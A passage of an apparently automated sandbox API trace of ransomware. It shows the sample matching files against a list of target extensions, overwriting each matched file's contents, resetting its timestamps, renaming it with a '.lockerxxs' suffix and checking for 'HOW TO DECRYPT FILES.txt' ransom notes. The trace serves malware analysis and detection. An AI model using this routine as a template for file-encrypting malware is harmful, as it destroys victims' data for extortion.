returned 0 [0084.131] lstrlenA (lpString="*.mye") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.mbox") returned 0 [0084.131] lstrlenA (lpString="*.mbox") returned 6 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.eml") returned 0 [0084.131] lstrlenA (lpString="*.eml") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.pst") returned 0 [0084.131] lstrlenA (lpString="*.pst") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.ost") returned 0 [0084.131] lstrlenA (lpString="*.ost") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.idx") returned 0 [0084.131] lstrlenA (lpString="*.idx") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.dbx") returned 0 [0084.131] lstrlenA (lpString="*.dbx") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.sql") returned 0 [0084.131] lstrlenA (lpString="*.sql") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.mdb") returned 0 [0084.131] lstrlenA (lpString="*.mdb") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.fdb") returned 0 [0084.131] lstrlenA (lpString="*.fdb") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.wab") returned 0 [0084.131] lstrlenA (lpString="*.wab") returned 5 [0084.131] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.dat") returned 0 [0084.132] lstrlenA (lpString="*.dat") returned 5 [0084.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.txt") returned 0 [0084.132] lstrlenA (lpString="*.txt") returned 5 [0084.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.jpeg") returned 0 [0084.132] lstrlenA (lpString="*.jpeg") returned 6 [0084.132] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", pszSpec="*.jpg") returned 1 [0084.132] lstrlenA (lpString="*.jpg") returned 5 [0084.132] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" [0084.132] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" [0084.132] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg." [0084.132] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.lockerxxs" [0084.132] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.133] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1529 [0084.133] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x539c30d0, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x539c30d0, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x539c30d0, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.133] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.133] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1503, lpOverlapped=0x0) returned 1 [0084.135] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg") returned="BBBO4dZ[1].jpg" [0084.135] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.135] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1503, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1503, lpOverlapped=0x0) returned 1 [0084.136] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.136] CloseHandle (hObject=0xa4) returned 1 [0084.136] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo4dz[1].jpg.lockerxxs")) returned 1 [0084.137] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x538b8730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x538b8730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x538b8730, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1e61, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="BBBO8ow[1].jpg", cAlternateFileName="BBBO8O~1.JPG")) returned 1 [0084.137] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.137] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BBBO8ow[1].jpg") returned 1 [0084.137] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BBBO8ow[1].jpg") returned 1 [0084.137] lstrcmpiA (lpString1="", lpString2="BBBO8ow[1].jpg") returned -1 [0084.137] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO4dZ[1].jpg") returned="BBBO4dZ[1].jpg" [0084.137] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.137] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.137] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.137] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.137] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="BBBO8ow[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" [0084.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.ems") returned 0 [0084.137] lstrlenA (lpString="*.ems") returned 5 [0084.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.db") returned 0 [0084.137] lstrlenA (lpString="*.db") returned 4 [0084.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.dbf") returned 0 [0084.137] lstrlenA (lpString="*.dbf") returned 5 [0084.137] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.myox") returned 0 [0084.138] lstrlenA (lpString="*.myox") returned 6 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.myo") returned 0 [0084.138] lstrlenA (lpString="*.myo") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbw") returned 0 [0084.138] lstrlenA (lpString="*.qbw") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbb") returned 0 [0084.138] lstrlenA (lpString="*.qbb") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbm") returned 0 [0084.138] lstrlenA (lpString="*.qbm") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbo") returned 0 [0084.138] lstrlenA (lpString="*.qbo") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbx") returned 0 [0084.138] lstrlenA (lpString="*.qbx") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qba") returned 0 [0084.138] lstrlenA (lpString="*.qba") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qby") returned 0 [0084.138] lstrlenA (lpString="*.qby") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qbj") returned 0 [0084.138] lstrlenA (lpString="*.qbj") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.ofx") returned 0 [0084.138] lstrlenA (lpString="*.ofx") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.qif") returned 0 [0084.138] lstrlenA (lpString="*.qif") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.mye") returned 0 [0084.138] lstrlenA (lpString="*.mye") returned 5 [0084.138] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.mbox") returned 0 [0084.139] lstrlenA (lpString="*.mbox") returned 6 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.eml") returned 0 [0084.139] lstrlenA (lpString="*.eml") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.pst") returned 0 [0084.139] lstrlenA (lpString="*.pst") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.ost") returned 0 [0084.139] lstrlenA (lpString="*.ost") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.idx") returned 0 [0084.139] lstrlenA (lpString="*.idx") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.dbx") returned 0 [0084.139] lstrlenA (lpString="*.dbx") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.sql") returned 0 [0084.139] lstrlenA (lpString="*.sql") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.mdb") returned 0 [0084.139] lstrlenA (lpString="*.mdb") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.fdb") returned 0 [0084.139] lstrlenA (lpString="*.fdb") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.wab") returned 0 [0084.139] lstrlenA (lpString="*.wab") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.dat") returned 0 [0084.139] lstrlenA (lpString="*.dat") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.txt") returned 0 [0084.139] lstrlenA (lpString="*.txt") returned 5 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.jpeg") returned 0 [0084.139] lstrlenA (lpString="*.jpeg") returned 6 [0084.139] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", pszSpec="*.jpg") returned 1 [0084.139] lstrlenA (lpString="*.jpg") returned 5 [0084.140] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" [0084.140] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" [0084.140] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg." [0084.140] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg.lockerxxs" [0084.140] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\bbbo8ow[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.140] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1e61 [0084.140] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x538b8730, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.141] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.141] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1e3b, lpOverlapped=0x0) returned 1 [0084.143] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\BBBO8ow[1].jpg") returned="BBBO8ow[1].jpg" [0084.143] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.143] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1e3b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1e3b, lpOverlapped=0x0) returned 1 [0084.143] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.143] CloseHandle 